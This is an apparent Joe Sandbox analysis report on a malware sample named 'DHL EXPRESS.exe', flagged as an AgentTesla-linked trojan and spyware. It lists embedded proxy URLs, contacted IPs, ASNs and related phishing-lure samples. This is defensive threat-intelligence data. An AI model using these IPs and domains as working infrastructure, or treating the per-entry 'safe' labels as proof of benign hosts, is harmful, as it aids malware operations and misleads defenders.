http://203.128.77.213:33378	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://207.180.234.220:39737	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://27.0.234.206:1080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://102.216.69.176:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://31.170.53.140://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.20.103.68://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://2.179.193.146:3128	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://98.64.169.17:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.90.227.244:3128	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://59.98.4.70:8080	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://67.43.227.227:2411	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.28.121.	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://91.134.140.160:27207://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.160.170:5385://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.113.71.230:1080	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.32.132.220://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://13.234.24.116:3128	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.131.203.7:8080	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.21.153.16:3128://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.216.51.36:32650	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.126.101.162:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://107.180.90.88:20309	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.178.172.14:4145://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://221.153.92.39:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.10.164.178:1431://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://183.88.184.48:8080	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://159.192.102.249:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://62.99.138.162://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.19.235.10	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.217.213.145:4145://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://111.59.4.88:9002://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.81.186.179:51405://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://183.234.215.11:8443://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://86.107.178.103:3128://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://62.141.70.118:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.43.179.160:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://174.64.199.82:4145://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://162.214.225.223:40536	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.205.110.118:15430	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://115.240.163.31	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3.73.120.104:3128://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.195.34.59:4145://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://160.3.168.70:8080	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://32.223.6.94:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.169.23.170:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://161.97.173.42:50386://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.234.24.105:8880	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.29.129.53:14464://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://145.239.199.109:3128	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://141.95.160.178:5870	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.17.166.210:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://169.57.157.146:8123	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://223.25.100.42:2222://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://114.99.13.192:8004://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.131.8.27:5678	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.247.163.246:3825	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.241.6.97:45629://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://84.241.8.234:8080	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://137.184.200.42:8000://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://162.214.170.144:31701	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.135.83.214:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.168.210.239:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.198.137.31:3580	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
93.171.243.253	unknown	Czech Republic	8870	OVDC-ASUA	false
212.110.188.202	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
24.230.33.96	unknown	United States	11232	MIDCO-NETUS	false
43.128.107.251	unknown	Japan	4249	LILLY-ASUS	false
182.160.100.156	unknown	Bangladesh	24323	AAMRA-NETWORKS-AS-APaamranetworkslimitedBD	false
50.169.37.50	unknown	United States	7922	COMCAST-7922US	false
103.216.51.36	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	true
193.143.1.201	unknown	unknown	57271	BITWEB-ASRU	true
78.90.252.7	unknown	Bulgaria	20911	NETSURF-AS-BG	false
82.137.245.31	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
193.124.189.13	unknown	Russian Federation	35196	IHOR-ASRU	false
177.67.136.241	unknown	Brazil	52663	TurboBSBTecnologiasemRedeLtdaBR	false
51.15.139.15	unknown	France	12876	OnlineSASFR	false
181.78.11.217	unknown	Argentina	52468	UFINETPANAMASAPA	false
194.44.177.225	unknown	Ukraine	3255	UARNET-ASUARNetUA	false
94.154.152.9	unknown	Albania	209842	CYBEXEREE	false
89.168.121.175	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
181.78.11.218	unknown	Argentina	52468	UFINETPANAMASAPA	false
139.224.64.191	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
94.154.152.4	unknown	Albania	209842	CYBEXEREE	false
41.155.190.214	unknown	Egypt	37069	MOBINILEG	false
13.234.24.116	unknown	United States	16509	AMAZON-02US	false
180.178.104.110	unknown	Indonesia	38758	HYPERNET-AS-IDPTHIPERNETINDODATAID	false
31.43.63.70	unknown	Ukraine	50581	UTGUA	false
103.4.118.130	unknown	Bangladesh	38203	ADNTELECOMLTD-BDADNTelecomLtdBD	false
103.74.229.133	unknown	Bangladesh	131340	TAQWAIT-AS-APMdMozammelHoquetaTaqwaITBD	false
52.35.240.119	unknown	United States	16509	AMAZON-02US	false
103.25.210.102	unknown	Indonesia	132653	B-LINK-AS-IDPTTransdataSejahteraID	false
101.51.121.29	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
146.19.106.42	unknown	France	7726	FITC-ASUS	false
51.81.89.146	unknown	United States	16276	OVHFR	false
46.17.63.166	unknown	United Kingdom	39326	HSO-GROUPGB	false
114.129.2.82	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
62.171.131.101	unknown	United Kingdom	51167	CONTABODE	true
216.74.255.182	unknown	United States	11215	LOGIXCOMM-ASUS	false
103.220.205.162	unknown	Bangladesh	59362	KSNETWORK-AS-APKSNetworkLimitedBD	false
38.127.172.219	unknown	United States	174	COGENT-174US	false
14.161.17.4	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
183.164.254.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
103.47.93.252	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
194.9.80.1	unknown	unknown	206495	IR-SADRA-20180529IR	false
212.110.188.222	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
148.135.119.4	unknown	Sweden	158	ERI-ASUS	false
202.162.105.202	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false
67.205.177.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
212.110.188.220	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
14.232.160.247	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
185.215.53.241	unknown	Armenia	205368	FNETAM	false
67.213.210.115	unknown	United States	32780	HOSTINGSERVICES-INCUS	false
67.213.210.118	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
172.67.200.220	unknown	United States	13335	CLOUDFLARENETUS	false
38.253.88.242	unknown	United States	174	COGENT-174US	false
13.59.156.167	unknown	United States	16509	AMAZON-02US	false
34.176.113.148	unknown	United States	2686	ATGS-MMD-ASUS	false
212.110.188.216	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.242	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.211	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.236	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
101.95.182.26	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
212.110.188.213	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
35.207.123.94	unknown	United States	19527	GOOGLE-2US	false
183.215.23.242	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
103.189.96.98	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
103.153.63.211	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
96.80.235.1	unknown	United States	7922	COMCAST-7922US	false
129.18.164.130	unknown	Nigeria	36923	SWIFTNG-ASNNG	false
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
188.40.44.95	unknown	Germany	24940	HETZNER-ASDE	false
103.99.27.26	unknown	unknown	136920	GARDAMORLDA-AS-APGardamorLdaTL	false
188.163.170.130	unknown	Ukraine	15895	KSNET-ASUA	false
81.250.223.126	unknown	France	3215	FranceTelecom-OrangeFR	false
218.252.244.126	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
191.101.1.116	unknown	Chile	61317	ASDETUKhttpwwwheficedcomGB	false
94.131.14.66	unknown	Ukraine	29632	NASSIST-ASGI	false
103.47.93.231	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.207	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
103.47.93.225	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
118.173.230.19	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
51.15.139.59	unknown	France	12876	OnlineSASFR	false
104.17.9.114	unknown	United States	13335	CLOUDFLARENETUS	false
121.129.47.25	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
45.235.16.121	unknown	Brazil	267406	AGOBrasilInternetLtdaBR	false
112.78.161.191	unknown	Indonesia	17451	BIZNET-AS-APBIZNETNETWORKSID	false
200.174.198.95	unknown	Brazil	4230	CLAROSABR	false
20.33.5.27	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
45.224.247.102	unknown	Brazil	266925	UPIXNETWORKSBR	false
45.190.78.50	unknown	unknown	269702	CAMPINETINTERNETVIARADIOEIRELIBR	false
103.47.93.221	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
103.47.93.220	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
185.36.191.240	unknown	Ukraine	42159	DELTAHOST-ASUA	false
103.216.49.233	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	false
180.104.0.161	unknown	China	137702	CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince	false
172.67.181.9	unknown	United States	13335	CLOUDFLARENETUS	false
14.143.172.238	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
103.47.93.219	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
104.236.0.129	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
38.127.179.100	unknown	United States	174	COGENT-174US	false
103.47.93.216	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
185.167.59.215	unknown	Moldova Republic of	43783	CAGHETPLUS-ASMoldtelecomMD	false
14.232.235.13	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1406921
Start date and time:	2024-03-11 18:35:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DHL EXPRESS.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/9@7/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 70 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.219.206.50, 23.219.206.41
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: DHL EXPRESS.exe

Simulations

Behavior and APIs

Time	Type	Description
18:36:43	API Interceptor	92x Sleep call for process: DHL EXPRESS.exe modified
18:37:01	API Interceptor	254519x Sleep call for process: RegSvcs.exe modified
18:37:03	API Interceptor	29x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
93.171.243.253	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
212.110.188.202	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Customer's Requirements and Pricing Details.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	HtfOQz42tN.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	3011574829.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	75C8OqdJUQ.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
24.230.33.96	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
artemis-rat.com	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	172.67.140.87
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	172.67.140.87
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	172.67.140.87
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	172.67.140.87
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	104.21.54.158
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	104.21.54.158
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	104.21.54.158
	PAYMENT.exe	Get hash	malicious	AgentTesla	Browse	104.21.54.158
	Urgent request for a quote.exe	Get hash	malicious	AgentTesla	Browse	104.21.54.158
	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	172.67.140.87
ktxcomay.com.vn	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	222.255.238.159
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	222.255.238.159
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
github.com	proof of payment.js	Get hash	malicious	STRRAT	Browse	140.82.113.4
	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.3
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	140.82.112.3
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	140.82.114.4
www.avis.com.hn	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	104.21.84.251
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	172.67.199.231
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	104.21.84.251
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	104.21.84.251
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	172.67.199.231
	reimainternatio.exe	Get hash	malicious	FormBook	Browse	104.21.84.251
	cJVeMuYr6y.exe	Get hash	malicious	Unknown	Browse	104.21.84.251

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BYTEMARK-ASGB	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	RFQ__ PO-7647454645_PDF.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	copia TT allegata.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	OUTSTANDING PO.exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	ENQUIRY FOR QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
OVDC-ASUA	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
